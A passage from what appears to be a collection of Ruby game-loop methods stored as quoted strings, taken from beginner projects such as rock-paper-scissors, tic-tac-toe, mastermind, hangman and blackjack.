#{@word}\"\n\t\t\treturn @controller.play_again\n\t\telse\n\t\t\treturn play\n\t\tend\n\n\tend", "def play\n display_welcome_message\n loop do\n human.choose\n computer.choose\n display_moves\n display_winner\n keep_score\n break unless play_again?\n end\n display_goodbye_message\n end", "def game_option(option)\n case option.downcase\n when RULES_GAME_OPTION\n open('game_rules.txt') do |file|\n say file.read.yellow\n end\n ask('Press enter to start the game'.yellow)\n initialize_game\n when START_GAME_OPTION\n say '-------------'\\\n 'starting the game'\\\n '-------------'.green\n show_wait_cursor(3)\n initialize_game\n end\n end", "def show_rules\n puts '*******WELCOME AND GET READY FOR A ROUND OF TIC TAC TOE*******'\n puts 'PLEASE: make sure to follow the instruction bellow'\n puts 'STEP ONE: Two players are needed for a session: Player one and Player two'\n puts 'STEP TWO: The winner has to align atleast three marks veritically, horizontally or obliguely'\n puts 'STEP THREE: Players are not allowed to repeat their choice or select an already selected space'\n puts 'STEP FOUR: The game is a draw in case all the spaces of the board are used up and the round restarted'\n puts '***********Have fun*************'\nend", "def run\n choose_game(prompt)\nend", "def rules\n \"Choose rock, paper, scissors, lizard, or spock.\"\n end", "def game_start\n computer_choice = get_random_choice\n puts(\"Welcome to rock, paper, scissors, lizard, spock game\")\n puts(\"Please enter your choice\")\n \n # a user has 3 chances for an invalid input\n is_valid = false\n user_choice = gets.chomp\n user_choice = user_choice.downcase\n for i in 0..1\n if (!is_valid_input(user_choice))\n puts(\"Invalid input, please enter one of: rock, paper, scissors, lizard, spock\")\n user_choice = gets.chomp\n user_choice = user_choice.downcase\n else\n is_valid = true\n break\n end\n end\n\n if !is_valid\n puts(\"You've entered an invalid choice for three times, game over\")\n else\n match_status = computer_choice.is_defeat(user_choice)\n case match_status\n when 0\n puts(\"DRAW\")\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n when -1 # computer lose\n puts(\"You WIN!\" )\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n puts(announce_winner(user_choice, computer_choice.get_name))\n when 1 # computer win\n puts (\"You LOSE :(\")\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n puts(announce_winner(computer_choice.get_name, user_choice))\n end\n end\n end", "def play\n until @winner != \"\"\n player1.make_move(rules)\n player2.make_move(rules)\n puts \"#{player1.name} chose #{player1.move}\"\n puts \"#{player2.name} chose #{player2.move}\"\n round_winner = rules.judge_game(player1.move, player2.move)\n scoreboard(round_winner)\n end_game\n end \n winner \n end", "def play\n iteration = 0\n @proposed_code = []\n\n # Main game loop\n while iteration < @turn_limit\n\n # Computer and player hoice acquisition\n choice_acquisition\n\n # Check if proposed match the secret code, it is the win condition\n break if check_for_game_over\n\n # Check the code an puts the result\n acquire_check_proposed_code_result\n iteration += 1\n end\n puts 'GAME OVER' if iteration == @turn_limit\n end", "def play_to_n\n puts \"Prepare to battle your opponent!\\n\\nYour weapons: A rock, a piece of paper, and a pair of scissors.\\n\\nThe rock will crush the scissors, the paper will smother the rock, and the scissors will cut the paper to shreds. The first player to win the following number of games wins the battle. What number would you like to play to?: \"\n \n @num_of_games = gets.chomp.to_i\n until @num_of_games > 0 && @num_of_games.class == Fixnum\n puts \"Your answer was not recognized, please try again.\"\n @num_of_games = gets.chomp.to_i\n @num_of_games\n end\n \n # Public: #players_choose\n # Sets each player's move to a unique variable then prints what each player chose.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # Prints two sentences stating what move each player chose.\n #\n # State Changes:\n # Sets @p1_game_move and @p2_game_move.\n \n def players_choose\n @p1_game_move = @player1.p1_moves\n @p2_game_move = @player2.p2_moves\n puts \"#{@player1.name} chooses: #{@p1_game_move}\\n\" + \"#{@player2.name} chooses: #{@p2_game_move}\"\n end\n\n # Public: #determine_winner\n # Determines which player won based on each round's moves.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # Prints out tie, or if there was not a tie, which player won and what the score is.\n #\n # State Changes:\n # None.\n \n # def determine_winner\n # players_choose\n # if @p1_game_move == @p2_game_move\n # puts \"Tie!\"\n # format\n # elsif @p1_game_move == \"rock\" && @p2_game_move == \"scissors\" || @p1_game_move == \"paper\" && @p2_game_move == \"rock\" || @p1_game_move == \"scissors\" && @p2_game_move == \"paper\"\n # @player1.p1_win\n # puts \"#{@player1.name} wins!\\n\" \"The score is: #{@player1.name} - #{@player1.score}\\t #{@player2.name} - #{@player2.score}\"\n # format\n # else\n # @player2.p2_win\n # puts \"#{@player2.name} wins!\\n\" \"The score is: #{@player1.name} - #{@player1.score}\\t #{@player2.name} - #{@player2.score}\"\n # format\n # end\n # end\n\n # Public: #game_loop\n # Continues the game each round until a player has won the stated number of games.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # The determine_winner method\n #\n # State Changes:\n # None.\n \n def game_loop\n until @player1.score >= @num_of_games || @player2.score >= @num_of_games do\n #determine_winner\n @rules.determine_winner\n end\n end\n \n # Public: #play\n # Initiates the game loop and prints who the winner is once the game is over.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # A puts statement which states who the overall winner is.\n #\n # State Changes:\n # None.\n \n def play \n game_loop\n if @player1.score >= @num_of_games\n puts \"#{@player1.name} is the WINNER!\"\n elsif @player2.score >= @num_of_games\n puts \"#{@player2.name} is the WINNER!\"\n end\n end\n \n # Public: #format\n # Separates each round with a line of dashes.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # Sixty dashes.\n #\n # State Changes:\n # None.\n \n def format\n puts \"-\" * 60\n end\n\nend", "def play\n #keep running this loop till game over. could also do while both lives > 0 instead of definding game over\n until game_over do\n \n next_round\n \n # setting current player\n current_player = @players[0]\n \n # player is asked question via chomps\n new_question = Question.new\n puts \"#{current_player.name}: What does #{new_question.num_1} plus #{new_question.num_2} equal?\"\n answer = $stdin.gets.chomp.to_i\n if answer == new_question.answer\n puts \"#{current_player.name}: YES! You are correct.\"\n else \n puts \"#{current_player.name}: Seriously? No!\"\n current_player.hp_loss\n end\n \n # show game status\n current_hp\n\n #could add sleep (sleep 1) to add wait time between rounds\n\n end\n # show winner once above until loop is done\n display_winner\n\n end", "def play_game\n\t\twhile @turn < 13\n\t\t\tputs \"Lets see if you figured out my code!\"\n\t\t\tputs \"Please select four colors as your guess. They can either mix and match or all be the same\"\n\t\t\tputs \"No spaces please!\"\n\t\t\tputs \"Your choices are 'R', 'G', 'B', 'Y', 'H', 'P'.\"\n\t\t\tguess = gets.chomp.upcase\n\t\t\tfeedback = compare(guess)\n\t\t\tif feedback == [\"O\", \"O\", \"O\", \"O\"]\n\t\t\t\tputs \"~~~~~~~~~~~\"\n\t\t\t\tputs \"You won!!!!\"\n\t\t\t\tputs \"~~~~~~~~~~~\"\n\t\t\t\tputs \"You have cracked the code of #{@master_code}\"\n\t\t\t\texit\n\t\t\telse\n\t\t\t\tputs \"Sorry! Guess again\"\n\t\t\t\tputs \"Here is currently what you have right #{feedback}\"\n\t\t\t\tputs \"---------------\"\n\t\t\t\tputs \"---------------\"\n\t\t\t\t@turn += 1\n\t\t\t\tputs \"That was turn number \" + @turn.to_s\n\t\t\t\tplay_game\n\t\t\tend\n\t\t\tputs \"You reached your max of 12 turns....game over!\"\n\t\tend\n\tend", "def play \n game_loop\n if @player1.score >= @num_of_games\n puts \"#{@player1.name} is the WINNER!\"\n elsif @player2.score >= @num_of_games\n puts \"#{@player2.name} is the WINNER!\"\n end\n end", "def play\n\t\t@current_turn = 0\n\t\t@current_player = @hunter\n\t\tplayers.each{|p| p.write(game_parameters)}\n\t\tuntil is_game_over?\n\t\t\tpre_turn_wall_count = @walls.size\n\t\t\treport_state_to_spectators\n\t\t\t@current_player.take_turn\n\t\t\t# Only print the board every 10 turns or if a wall was added or removed\n\t\t\tprint_minified_board() if @current_turn%10 == 0 || @walls.size != pre_turn_wall_count\n\t\t\tadvance_turn!\n\t\t\tprint \"#{@current_turn} \"\n\t\tend\n\t\tresult = report_winner\n\t\tcleanup_players!\n\t\tcleanup_spectators!\n\t\tresult\t# Returns this so the EvasionServer can save results\n\tend", "def gameplay\n \n game_setup # Calls the game_setup method\n human = true # declare a boolean variable\n \n # whan human score and computer score are both less than the target score given by the user than enter the loop\n while human_score.to_i < target_score.to_i && computer_score.to_i < target_score.to_i\n \n # Conditional statment to check if it's human or computer's turn\n if human == true\n # Human's turn\n puts \"It is now #{name}\\'s turn\", \"\"\n puts \"Whoever gets to #{target_score} wins\" \n human_turn # Calls the human turn method \n human = false # After human turn ends set the human turn boolean value to false \n else \n # Computer's turn\n puts \"It is now the computer\\'s turn \\n\"\n puts \"Whoever gets to #{target_score} wins\"\n computer_turn # Calls the computer turn method \n human = true # Set human boolean value to true \n end\n\n # Output score\n puts \"Current Scores: \"\n puts \"\\t#{name}: #{human_score}\"\n puts \"\\tComputer: #{computer_score}\"\n end\n\n # Announce Winner\n puts \"We have a winner\"\n \n end", "def play_game\n until win_game? == true do\n get_user_selection\n get_comp_selection\n play_round\n end #end of until\n\n #adding option to play best of out of 5\n puts \"You you like to play best out of 5? (enter \\\"yes\\\" or \\\"no\\\")\"\n user_answer = gets.chomp.downcase\n\n if user_answer == \"y\" || user_answer == \"yes\"\n until best_out_of_five? == true do\n get_user_selection\n get_comp_selection\n play_round\n end\n else\n puts \"Until next time, have a great day!!\"\n end\n\n end", "def choose_game\n x = 0\n until x == 1 || x == 2\n puts \"Which game would you like to play?\"\n puts \"1 - Rock/Paper/Scissors\"\n puts \"2 - Rock/Paper/Scissors/Lizard/Spock\"\n x = gets.chomp.to_i\n if x == 1\n @rules = Rules_RPS.new\n elsif x == 2\n @rules = Rules_RPSLS.new\n else\n puts \"That is not a valid choice.\"\n end\n end\n end", "def play\n display_welcome\n puts \"\"\n display_rules\n puts \"\"\n print \"Enter your name: \"\n player_name = STDIN.gets.strip\n self.player = Player.new(player_name) # get the user\n puts \"Welcome #{self.player.name}!\"\n puts \"\"\n\n #play until user has maximum points or user inputs exit (breaks until)\n until over?\n puts \"\"\n self.board.display_board # puts the board on each turn\n print \"Enter word: \"\n user_input = STDIN.gets.strip\n puts \"\"\n # TODO: implement using Thor\n case user_input\n when \"-q\" || \"-quit\" || \"-exit\"\n self.player.display_word_list\n self.player.display_total\n puts \"Bye!\"\n break\n when \"-h\" || \"-help\"\n display_rules\n when \"-t\" || \"-total\"\n self.player.display_total\n when \"-w\" || \"--word-list\"\n self.player.display_word_list\n when \"-r\" || \"-rearrange\"\n self.board.rearrange_board\n when \"--c-b\" || \"--cheater-bee\"\n self.board.display_word_list\n else #\n check_word(user_input.upcase)\n end\n end\n\n end", "def play_a_game\n\t#PLAYER 1 choses a valid selection of r,p,s\n\tprint \"\\nPLAYER 1, please select the corresponding number for your choice:\\n1 rock\\n2 paper\\n3 scissors\\n\\n\"\n\tchoice = gets.chomp\n\tvalidate_rps_choice(choice)\n\tplayer_1_choice = choice\n\n\tputs \"-------------------------------------------------\"\n\tprint \"\\nPLAYER 2, please select the corresponding number for your choice:\\n1 rock\\n2 paper\\n3 scissors\\n\\n\"\n\t\t#PLAYER 2 choses a valid selection of r,p,s\n\tchoice = gets.chomp\n\tvalidate_rps_choice(choice)\n\tplayer_2_choice = choice\n\n\tputs lets_see_who_wins(player_1_choice, player_2_choice)\n\nend", "def run_full_game()\n set_max_games()\n name_all_players()\n puts play_through_set_of_games()\n set_determine_set_winner()\n puts overall_winner_message()\n end", "def round_gameplay\n # new question\n self.q.generate_question\n \n question = self.q.questions[-1][:question]\n answer = self.q.questions[-1][:answer]\n questioner = self.players[0]\n # ask question\n puts \"#{questioner.name}: #{question}\"\n input = gets.chomp\n \n if self.answer_correct?(input, answer) == true\n puts \"#{questioner.name}: #{questioner.opponent_correct}\"\n else\n puts \"#{questioner.name}: #{questioner.opponent_incorrect}\"\n self.players[1].lose_life\n end\n\n if self.winner?\n # if there is a winner declare the winner and call game over\n self.declare_winner(self.players[0])\n self.game_over\n else\n # otherwise display both players scores and carry on\n self.display_lives\n end\n end", "def play\n display_welcome_message\n\n # Each game...\n loop do\n # Each round...\n loop do\n display_game_history unless rounds.empty?\n round_results = Round.new(human, computer).play\n @rounds << round_results\n break if winner?\n end\n\n set_winner\n display_end_game\n\n break unless play_again?\n reset_game\n end\n\n display_goodbye_message\n end", "def play\n until over? == true\n turn\n end\n if self.winner == nil\n puts \"Cats Game!\"\n else\n puts \"Congratulations #{self.winner}!\"\n #Congradulate the winner of the game, using the person with the most X or O combinations\n #Code in a play again option, so players don't have to re enter name\n board.display\n end\n end", "def play\n\t\twelcome\n\t\task_name\n\t\task_name2 \n\t\task_input\n\t\tturns\n\tend", "def play\n\t\n\t\tuntil over?\n\t\tturn\n\t\tend\n\t\t\n\t\tif won? \n\t\t\twinner\n\t\telsif draw? \n\t\t\tputs \"The game was a Draw!\"\n\t\telse \n\t\t\tputs \"Unexpected Error Occured\" \n\t\tend\n\tend", "def play\n # checks if the game is over after every turn\n until over?\n # plays the first few turns of the game\n turn\n end\n\n # checks if the game is won after every turn\n if won?\n puts \"Congratulations #{winner}!\"\n # checks if the game is draw after every turn\n elsif draw?\n puts \"Cats Game!\" # prints \"Cats Game!\" on a draw\n end\n\n end", "def play_game \n #initialize variables used for game\n player_name = get_name \n deck = init_deck\n player_total = 0\n dealer_total = 0\n # deal the initial cards\n player_cards = deal_cards(2, deck)\n dealer_cards = deal_cards(2, deck)\n #player plays round\n player_total = player_round(player_cards, dealer_cards, player_total, player_name, deck)\n puts \"Player round finished, player total is #{player_total}.\"\n # dealer plays round, but only if player didn't hit blackjack or go bust\n if (blackjack(player_total) != true) && (bust(player_total) != true)\n dealer_total = dealer_round(dealer_cards, dealer_total, deck)\n puts \"Dealer round finished, dealer total is #{dealer_total} and player total is #{player_total}.\"\n end\n # evaluate to see who won \n playing = evaluate(player_total, dealer_total, playing)\n if playing == \"yes\"\n play_game\n else \n puts \"Bye! Thanks for visiting the casino!\"\n exit\n end\nend", "def play\n reset\n loop do\n break if @guesses == 0 || @win == true\n status_message\n enter_number\n evaluation_message\n end\n lose_message if @guesses == 0 && @win == false\n end", "def run_game\n while @p1.score != @length && @p2.score != @length\n run_round\n end\n @winner = @p1 if @p1.score == @length\n @winner = @p2 if @p2.score == @length\n puts @winner.name + \" wins the game!\"\n puts \"Congratultions!\" if @winner.control == \"HUMAN\"\n @winner\n end", "def play\n while(true)\n answer1 = @human.choose\n answer2 = @computer.choose\n puts self.win?(answer1,answer2)\n self.continue?\n end\n end", "def play_game (num_players, num_cards)\n\tgame = Game.new(num_players, num_cards)\n\tall_hands = game.get_all_cards\n\tall_scores = game.get_all_scores (all_hands)\n\tscores_and_winning_score = game.get_winning_score (all_scores)\n\twinning_players = game.get_winning_players (scores_and_winning_score)\n\tmessage = game.get_winner_message(winning_players)\nend", "def play\n # unless the game is over players take turns\n take_turn until game_over?\n\n #start a new game if the game is over\n new_game_or_quit\n end", "def play\n puts \"Please enter '1' for one player or '2' for two\"\n choice = gets.strip\n if choice == \"2\"\n until over?\n if current_player == \"X\"\n puts \"It's X's turn\"\n elsif current_player == \"O\"\n puts \"It's O's turn\"\n end\n turn\n end\n \n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"It's a draw!\"\n end\n\n elsif choice == \"1\"\n until over?\n puts \"Now it's my turn...\"\n comp_turn\n break if won? || draw?\n puts \"Now it's your turn...\"\n turn\n end\n \n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"It's a draw!\"\n end\n end\n end", "def start_game\n game_logo\n game_start_screen\n game_rules\n last_rules\n choice = maker_breaker\n game_maker if choice == 'm'\n game_breaker if choice == 'b'\n end", "def game_turns\n @turn_obj.play_turn(solution, mode, @computer_solve_obj) until @turn_obj.game_over(@turn_obj.results,mode)\n end", "def play\n\t\t\twhile !win && @turns < TURNS\n\t\t\t\tturn\n\t\t\tend\n\t\t\t# counter increments at start of turn, so must be less than max turns\n\t\t\tif win\n\t\t\t\tplay_again\n\t\t\telse\n\t\t\t\tputs \"\\n Sorry, you ran out of turns. The word was #{@secret_word}\"\n\t\t\t\tplay_again\n\t\t\tend\n\t\tend", "def play_game\n display_header\n user = collect_and_validate_input \"Choose a Play (R/P/S)\", :play\n computer = %w(R P S).sample\n \n # determine who won this round\n display_header\n string = case user\n when computer\n \"It's a TIE!!!\"\n when \"P\"\n computer == \"R\" ? \"Paper covers rock! YOU WIN!\" : \"Scissors cut paper! Computer Wins!\"\n when \"R\"\n computer == \"S\" ? \"Rock breaks scissors! YOU WIN!\" : \"Paper covers Rock! Computer Wins!\"\n when \"S\"\n computer == \"P\" ? \"Scissors cut paper! YOU WIN!\" : \"Rock breaks scissors! Computer Wins!\"\n end\n puts string\n \n # ask the user if they wish to play again\n again = (collect_and_validate_input \"Would you like to go again? (Y/N)\", :again).upcase\n again == \"Y\" ? play_game : (puts \"Thanks for playing!\")\nend", "def play\n\n while @game_complete == false\n\n # starting game text to help the player create a mental picture of the environment\n @new_player_name = \"Mr Developer\" if @debug\n player_set_up unless @debug || @starting_game_text == false\n puts starting_game_text unless @debug || @starting_game_text == false\n @starting_game_text = false\n \n slow_type(\"\\nYou are in #{find_room_by_id(@current_room_id).name}\")\n main_menu = TTY::Prompt.new\n\n choices = [\n { name: 'Move Player', value: 1 },\n { name: 'Look At', value: 2 },\n { name: 'Pick Up', value: 3 },\n { name: 'Use Item', value: 4 },\n { name: 'Talk To', value: 5 },\n { name: 'Quit', value: 6 },\n ]\n attr = main_menu.select(slow_type(\"What would you like to do?\"), choices)\n\n # gets user input\n \n if attr == 1\n player_move\n \n elsif attr == 2\n look_at\n\n elsif attr == 3\n pick_up\n\n elsif attr == 4\n use_item\n\n elsif attr == 5\n talk_to\n \n else attr == 6\n @game_complete = true\n end\n\n end\n end", "def play\n title\n divider\n puts \"Choose 'Rock', 'Paper', or 'Scissors'\"\n input = gets.strip\n input_downcase(input)\n if valid_selection?\n computer_selection\n won\n else\n play\n end\n end", "def game\n game_id = params[:game_id].to_i\n if game_id != 0\n @game = Game.find(game_id)\n unless @game.active?\n flash.notice = 'The game is over.'\n back_to_index\n end\n unless @game.players_turn?(current_user.id)\n back_to_index\n end\n @opponent = @game.opponent(current_user.id)\n if @game.challenge_round?\n ask_another_question(@game.id)\n end\n end\n end", "def play_match\r\n reset_scores\r\n\r\n loop do\r\n display_scores\r\n choose_turn_order\r\n play_round\r\n break if someone_won_match?\r\n end\r\n\r\n display_match_result\r\n end", "def play!\n print_welcome()\n\n until @win || @lose\n print_current_status()\n letter_or_word = ask_player_letter_or_word()\n\n case letter_or_word\n when \"L\"\n letter_guess()\n when \"W\"\n word_guess()\n else\n puts \"There is an error in the program\"\n end\n\n if @lose == true\n print_lose\n elsif @win == true\n print_win\n end\n end\n end", "def game_run\n # Set the Guess to be invalid to stay in the while loop\n invlaid_guess = true\n\n # Keep Asking for a valid Guess While the current one is invalid\n while invlaid_guess\n # Trim The user input of whitespace and convert it to lowercase\n guess = gets.strip!.downcase\n\n # Run the word through the validator, if it returns invalid (False) then display an error message to try input again\n # Don`t flip the invalid guess bool unless invalid returns as true (I realise this may read a little confusing with\n # how I`ve chosen to name the bool`)\n unless validate_word(guess)\n invlaid_guess = false\n else\n puts ERRORMESSAGE + 'word.'\n print 'Option:'\n end\n end\n\n #Assign the players guess so that you can easily display on the next turn\n @player.whole_word = guess\n\n #Method Checks the players Guess against the game word\n check_answer(guess)\n\n # increment the turn\n @turn_number += 1\n\n # Check if the player has won or the turn limit has been exceeded\n if @player.won || @turn_number > @player.turn_limit\n # tell The screen manager to print the game over screen and wether the player has won or lost\n if @player.won\n @screens.game_over(\"WIN\", @turn_number, @whole_word)\n play_again\n else\n @screens.game_over(\"LOSE\", @turn_number, @whole_word)\n play_again\n end\n #If the game has not ended Tell the screen manager to print the game screen again and run the game\n else\n @screens.running(@turn_number, @player.turn_limit, @player.player_guess, @player.whole_word, @feedback)\n # Run the Game\n game_run\n end\n end", "def play\r\n display_welcome_message\r\n human_choose_move\r\n computer_choose_move\r\n display_winner\r\n display_goodbye_message\r\nend", "def play_game\n turns = 0\n begin\n hash = WarAPI.play_turn(@player1, @player1.hand.deal_card, @player2, @player2.hand.deal_card)\n cards = hash.flatten\n @player1.hand.add_card(cards[1])\n @player2.hand.add_card(cards[3])\n puts \"#{turns}\"\n turns += 1\n end until (@player1.hand.addhand.length == 0 && @player1.hand.unshuffled_deck[-1] == nil && cards[1].length == 0) || (@player2.hand.addhand.length == 0 && @player2.hand.unshuffled_deck[-1] == nil && cards[3].length == 0)\n puts \"#{@player1.name} wins!\" if @player1.hand.deal_card != nil\n puts \"#{@player2.name} wins!\" if @player2.hand.deal_card != nil\n end", "def play\n #calls to all the methods that produce game!\n end", "def win_round?(player_choice, computer_choice)\n WIN_RULES.any? do |choice, player_wins_if|\n choice == player_choice && player_wins_if[:win_conditions].include?(computer_choice)\n end\nend", "def play(winning_score)\n # make while loop\n while @player_score < winning_score && @computer_score < winning_score\n puts \"\\nPlayer score: #{@player_score}, \" +\n \"Computer score: #{@computer_score}, Ties: #{@ties}.\\n\"\n player = PrivateMethods.player_choice\n computer = ProtectedConstants::COMPUTER_CHOICES.sample # chooses a random option\n puts \"\\nPlayer chooses #{player.to_s.downcase}.\"\n puts \"Computer chooses #{computer.to_s.downcase}.\\n\"\n case PrivateMethods.player_outcome [player, computer]\n when :WIN\n puts \"\\n#{player.to_s.capitalize} beats #{computer.to_s.downcase}, player wins the round.\\n\"\n @player_score += 1\n when :LOSE\n puts \"\\n#{computer.to_s.capitalize} beats #{player.to_s.downcase}, computer wins the round.\\n\"\n @computer_score += 1\n else\n puts \"\\nTie, choose again\\n\"\n @ties += 1\n end\n end\n puts \"\\nFinal score: player: #{@player_score}, \" +\n \"computer: #{@computer_score} (ties: #{@ties}).\\n\"\n case PrivateMethods.final_outcome(@player_score, @computer_score)\n when :WIN\n puts \"\\nPlayer wins!\\n\"\n when :LOSE\n puts \"\\nComputer wins!\\n\"\n else\n puts \"\\nIt's a tie!\\n\"\n end\n print \"\\n[press the enter/return key to exit game]\"\n gets\n end", "def play_game\nget_winner(comp_choose_rps,user_choose_rps)\t\nend", "def play\n # playing the first hand\n players.each { |player| ask_for_user_input(player, \"play_first_hand\") }\n self.to_s\n puts \" the winner of the first hand #{first_hand_winner.nickname}\"\n\n #playing the second hand\n ask_for_user_input(first_hand_winner, \"play_second_hand\")\n ask_for_user_input(other_player(first_hand_winner), \"play_second_hand\")\n\n self.to_s\n puts \" the winner of the second hand #{second_hand_winner.nickname}\"\n return if player_won_first_two_hands?\n\n #playing the third hand\n ask_for_user_input(second_hand_winner, \"play_third_hand\")\n ask_for_user_input(other_player(second_hand_winner), \"play_third_hand\")\n\n self.to_s\n end", "def play\r\n while !over?\r\n turn\r\n end\r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n elsif draw?\r\n puts \"Cats Game!\"\r\n end\r\n end", "def turn_game\n\t\t@player_1.new_question\n\t\tcheck_score\n\t\t@player_2.new_question\n\t\tcheck_score\n\t\tcheck_status\n\t\tputs '------------NEW-TURN-------------'\n\t\tturn_game\n\tend", "def play_game\n loop do\n puts \"\\n\\n\"\n display_board\n player_turn\n check_game_status\n end\n end", "def start\n puts \"Welcome to Tic Tac Toe.\"\n play_again = \"yes\"\n while play_again.downcase == \"y\" || play_again.downcase == \"yes\"\n valid_options_1 = [\"0\", \"1\", \"2\"]\n question_1 = puts \"What type of game do you want to play? (0, 1, or 2 players)\"\n input_1 = gets.strip\n until valid_options_1.include? input_1\n puts \"That's not a valid option, please enter 0, 1, or 2.\"\n question_1\n input_1 = gets.strip\n end\n\n if input_1.to_i == 0\n player_1 = Players::Computer.new(\"X\")\n player_2 = Players::Computer.new(\"O\")\n Game.new(player_1, player_2).play\n elsif input_1.to_i == 1\n puts \"Would you like to go first and be X?\"\n answer = gets.strip\n if answer.downcase == \"yes\" || answer.downcase == \"y\"\n player_1 = Players::Human.new(\"X\")\n player_2 = Players::Computer.new(\"O\")\n Game.new(player_1, player_2).play\n else\n player_1 = Players::Computer.new(\"X\")\n player_2 = Players::Human.new(\"O\")\n Game.new(player_1, player_2).play\n end\n elsif input_1.to_i == 2\n player_1 = Players::Human.new(\"X\")\n player_2 = Players::Human.new(\"O\")\n Game.new(player_1, player_2).play\n end\n puts \"Would you like to play again?(Yes or No)\"\n play_again = gets.strip\n if play_again.downcase == \"no\" || play_again.downcase == \"n\"\n puts \"Goodbye, play again soon!\"\n end\n end\n end", "def play\n loop do\n prep_game\n loop do\n current_player_moves\n break if board.someone_won? || board.full?\n board.clear_screen_and_display_board(players) if human_turn?\n end\n display_result\n break unless play_again?\n reset\n end\n display_goodbye_message\n end", "def play\n while !over?\n turn\n board.display\n end\n if won?\n puts \"Congratulations #{winner}!\" \n elsif draw?\n puts \"Cats Game!\" \n end\n end", "def play\n over = false\n\n until over\n display_score\n @board.render\n @guesses = []\n prompt\n if same_card?(@guesses[0], @guesses[1])\n puts \"you got it! Go again!\"\n @guesses[0].reveal_card\n @guesses[1].reveal_card\n @score[current_player] += 1\n else\n @guesses[0].hide\n @guesses[1].hide\n puts \"you suck! Go #{previous_player} is up.\"\n next_player!\n end\n\n\n over = true if board.won?\n end\n end", "def play\n until game_over\n start_new_turn\n show_board\n make_move @current_player\n end\n show_board\n puts \"#{game_over} wins!\"\n end", "def game_round\n phrases = @phrasearr.dup\n @difficulty[3].times do\n clear\n phrase = selector(phrases)\n display_to_user(phrase)\n phrases = deleter(phrase, phrases)\n end\n\n clear\n prompt = selector(@promptarr)\n display_to_user(prompt)\n input = timed_input\n print @cursor.hide\n scorer(checker(input, prompt))\n deleter(prompt, @promptarr)\n\n check_score\n end", "def play_rounds(player1,player2,rules)\n rnd = 0\n \n until rnd > @rounds-1 do\n \n play1 = player1.get_move\n play2 = player2.get_move\n \n game_val = rules.determine_round_winner(play1, play2)\n \n declare_round_winner(game_val,player1,player2)\n \n rnd += 1\n end\n end", "def play_game\n loop do\n @turn += 1\n puts '########################################'\n puts \"Turn #{@turn}:\"\n puts '########################################'\n @players.each do |p|\n puts ''\n p.turn\n next unless !@is_final_round && p.score >= 3000\n @is_final_round = true\n final_round(p)\n break\n end\n\n break if @is_final_round\n end\n end", "def play_game(human, computer)\n winner = RULES[human][computer]\n if winner == human\n @won+=1\n puts game_complete_message(computer) + \"You win!\"\n elsif winner == computer\n @lost+=1\n puts game_complete_message(computer) + \"You lose.\"\n else\n @tie+=1\n puts game_complete_message(computer) + \"It's a tie.\"\n end\n puts \"you won #{@won} times.\\nyou lost #{@lost} times.\\nwe tied #{@tie} times.\\n\\n\"\n end", "def play_game\n chance_count = 1\n @winner = nil\n display_game_board\n while chance_count < 10 do\n\n # If count value is odd, its player1's turn else player2's turn.\n if chance_count.odd?\n position = take_chance(@player1)\n @player1_arr.push position\n else\n position = take_chance(@player2)\n @player2_arr.push position\n end\n display_game_board\n if chance_count > 4\n if chance_count.odd?\n @winner = check_winner(@player1, @player1_arr.sort!)\n break if @winner != nil\n else\n @winner = check_winner(@player2, @player2_arr.sort!)\n break if @winner != nil\n end\n end\n chance_count += 1\n end\n\n if @winner != nil\n puts \"#{@winner.name.capitalize} won!\"\n else\n puts \"Nobody won.\"\n end\n end", "def play\n 10.times do |i|\n \n# i is the chance number\n puts \"This is chance #{i+1} of 10\"\n \n# current guess is what player typed in\n current_guess = @player.guess_code\n \n# standing is based on method evaluate guess with paramater current guess from above\n standing = evaluate_guess(current_guess)\n \n# if correct for all 4\n if standing[:exact].length == 4\n# display to user\n puts \"You won!\"\n return\n else\n puts \"#{standing[:exact].length} Exact Matches\"\n puts \"#{standing[:near].length} Near Matches\"\n end\n end\n \n# if reached end of loop, that means guesses out & not all perfectly matched\n\n # If we make it this far, we have used up \n # all of our turns and lost.\n puts \"You lost!\"\n return\n end", "def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else draw?\n puts \"Cat's Game!\"\n end\n end", "def play\n # print \"\\n Welcome to the game of Scissors-Paper-Rock\"\n print \"\\n Enter your name: \"\n user_name = gets.chomp\n until @user_score == @score_required || @computer_score == @score_required\n options = ['scissors', 'paper', 'rock']\n \n print \"\\nHi #{user_name}, please select 's' for scissors, 'p' for paper or 'r' for rock. \"\n \n # Display user selection:\n selected_options = gets.chomp\n \n puts \"User has selected #{user_choice}.\"\n # p user_choice\n\n # display the computer's randomised selection:\n # options = ['s', 'p', 'r']\n @computer_choice = options.sample\n # p computer_choice\n puts \"Computer has selected #{computer_choice}.\"\n\n result()\n end\n \n return @user_score > @computer_score ? (puts \"Game over! you won!\"): (puts \"Game over! Computer won!\")\n \n end", "def play_turn(solution_arr)\n char = user_input(INPUT_MSGS['to_play'])\n return false unless char\n return false if duplicate_guess(char)\n\n if char == GAME_SAVE\n SaveGame.new(solution_arr, @turn, @wrong_arr, @guess_arr, @resolved_arr)\n else\n user_turn(solution_arr, char)\n display_turn_results\n end\n end", "def play_game\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method responsible for collecting the player's move\r\n playerMove = get_player_move\r\n \r\n #Call on the method responsible for generating the computer's move\r\n computerMove = get_computer_move\r\n \r\n #Call on the method responsible for determining the results of the game\r\n result = analyze_results(playerMove, computerMove)\r\n \r\n #Call on the \r\n gameCount = game_count\r\n\r\n #Call on the method responsible for displaying the results of the game\r\n display_results(playerMove, computerMove, result)\r\n \r\n end", "def play_to_learn(board, opponent)\n return play(board)\n end", "def control(player_choice) \n if @game_over == false\n @game.make_move(@game.current_player, player_choice) \n if @game.win? \n @game.print_grid\n puts print_name(@game.win?) + \" gets \" + pink(\"cake\") + \", the loser will not be \" + pink(\"reformated into cake ingredients.\")\n @game_over = true\n elsif @game.tie? \n @game.print_grid\n puts \"It 